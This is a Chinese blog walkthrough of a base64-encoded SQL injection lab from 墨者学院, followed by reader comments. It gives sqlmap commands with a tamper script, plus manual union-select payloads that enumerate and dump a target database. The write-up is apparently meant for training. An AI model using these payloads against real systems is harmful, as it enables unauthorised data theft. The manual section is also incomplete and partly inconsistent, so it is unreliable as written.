两种解法

一、利用sqlmap及其tamper模块base64encode使用
1. 看到id后面的参数可能是base64加密后的结果,我们尝试解密,解密结果为1
2.查看当前的系统信息
sqlmap -u "http://219.153.49.228:43371/show.php?id=MQo=" --tamper=base64encode
3.暴库
sqlmap -u "http://219.153.49.228:43371/show.php?id=MQo=" --tamper=base64encode --level=3 --current-db
4.爆表
sqlmap -u "http://219.153.49.228:43371/show.php?id=MQo=" --tables -D test
5.获取key
sqlmap -u "http://219.153.49.228:43371/show.php?id=MQo=" -T data --dump
二、盲注
首先可以看到该URL中存在一个参数“MQ==”,从参数的格式来看是通过了base64进行了加密,那么我们可以对其进行base64解密
发现解密之后的参数为1,这种类型的注入除了和我们以前的普通注入相比只是多了一个“base64”加密的过程,下面进行手工注入演示:
1、判断是否可以注入:
单引号测试
and 测试
由上判断可以得知存在SQL注入
2、猜解字段长度
order by 2
order by 3
可以猜到字段长度为2
3、爆数据库名、数据库版本信息
4、爆表名
http://219.153.49.228:48204/show.php?id=-1 union select TABLE_NAME,2 from information_schema.TABLES where TABLE_SCHEMA=0x74657374 limit 0,1--
5、爆字段名
http://219.153.49.228:48204/show.php?id=-1 union select COLUMN_NAME,2 from information_schema.COLUMNS where TABLE_NAME=0x64617461 limit 3,1
6、爆字段值
http://219.153.49.228:48204/show.php?id=-1 union select thekey,2 from test.data limit 0,1--
- it2021
- it2021.com
- SQL注入
- SQL注入实战
- 墨者学院


1F
base64加密的参数怎么解密啊?
B1
@ 无界魂 直接用Python的base64.b64decode()就行,一行代码
2F
盲注那部分看得有点懵
B1
@ 小林音 手工注入步骤里order by 3会报错么,怎么判断字段长度是2
3F
之前也遇到过base64编码的注入点,折腾半天
B1
@ 碧纱笼月 base64编码的参数解密后是1,这种注入点确实不好找
4F
这样注入会不会被WAF拦截啊?
B1
@ 宇宙之光 这玩意儿真能绕过WAF?实测过吗?
5F
CTF那张图还挺有感觉的
6F
字段长度判断那块能再详细点吗
7F
手工注入步骤写得太简略了
8F
用sqlmap爆库确实快,手工太费时间
上海 上海 B1
@ 高冷的雪豹 tamper模块还能这么用,以前只知道用sqlmap直接跑
9F
union select后面那个2是啥意思
B1
@ RiftWarden 随便填个数占位,只要不报错就行
10F
test数据库里就一个表吗?
11F
这种实战步骤挺全的,适合新手照着复现
12F
union select后面的2是不是随便填个数字就行
13F
盲注没写payload啊,具体怎么猜解数据库名?
14F
图上的CTF旗帜挺带感的,玩过几次ctf,sql注入题确实多
B1
@ 幽兰秘法师 CTF氛围拉满了,想起被sql注入支配的日子😂
15F
sqlmap爆表那个-D test,test是库名吧
B1
@ Didi 对,-D后面跟的就是库名,test是目标库
16F
手工注入太麻烦了,有现成工具为啥要手注😂
17F
sqlmap这个tamper参数真方便👍
B1
@ 深空幽灵 原来tamper还能这么用,省得自己写脚本了
18F
手工注得太抽象了,payload都不给全
B1
@ 暗界游侠 payload不全确实挺耽误事的,得自己试
19F
sqlmap是方便,但理解原理更重要
20F
那个order by 2是怎么试出来的?
B1
@ 幽兰空谷 order by 2就是试字段数,加到报错为止
21F
base64解密直接用在线工具就行
22F
CTF比赛里这种题算基础款了
23F
我之前试过类似,结果被日志抓了
24F
盲注猜字段名得跑脚本吧,手动太累
25F
tamper模块还能这么用,学到了
26F
手工注入那部分能跑通吗,感觉有点跳跃啊
27F
test库名是默认的?
28F
盲注那个猜解字段时间成本太高了吧
29F
union select后面跟数字是占位用的吧?
30F
这教程适合有点基础的,纯新手可能跟不上
31F
sqlmap一把梭哈确实快,但比赛可能不让用
32F
手工注入步骤确实跳得太多了,payload都省略了
33F
盲注猜数据库名具体用啥函数啊?
34F
sqlmap确实省事,但比赛练手还得手工
35F
CTF图挺有那味儿的,想起了打比赛的日子
36F
那个union select后面的数字是占位符吧?
37F
base64解密用burp就能直接解
B1
@ 辐射信徒 burp里选中参数右键decode就有,不用额外装插件
38F
手工注入太折腾了,有工具不用是跟自己过不去😂
39F
盲注部分能再详细点就好了
40F
test库是默认数据库吗?
41F
这种实战教程多来点,比纯理论有用
42F
手工注那步union select后面跟2是凑列数,不然会报错
43F
sqlmap跑得快但比赛不让用,练手还是得手注
44F
之前搞过类似题,base64编码后注入点藏得挺深
45F
这图一出来DNA动了,想起通宵打CTF的日子😭
46F
盲注那部分步骤讲得挺细,适合新手跟练
47F
两个URL端口不一样,是重新部署了靶机吗
48F
字段名直接叫thekey,也太好猜了吧😂
B1
@ 天穹指引 哈哈,省得猜来猜去了😂
49F
limit 0,1这个写法,新手容易搞混。
安徽 宿州 B1
@ 龙渊客 确实,limit 0,1 那个逗号位置容易写错。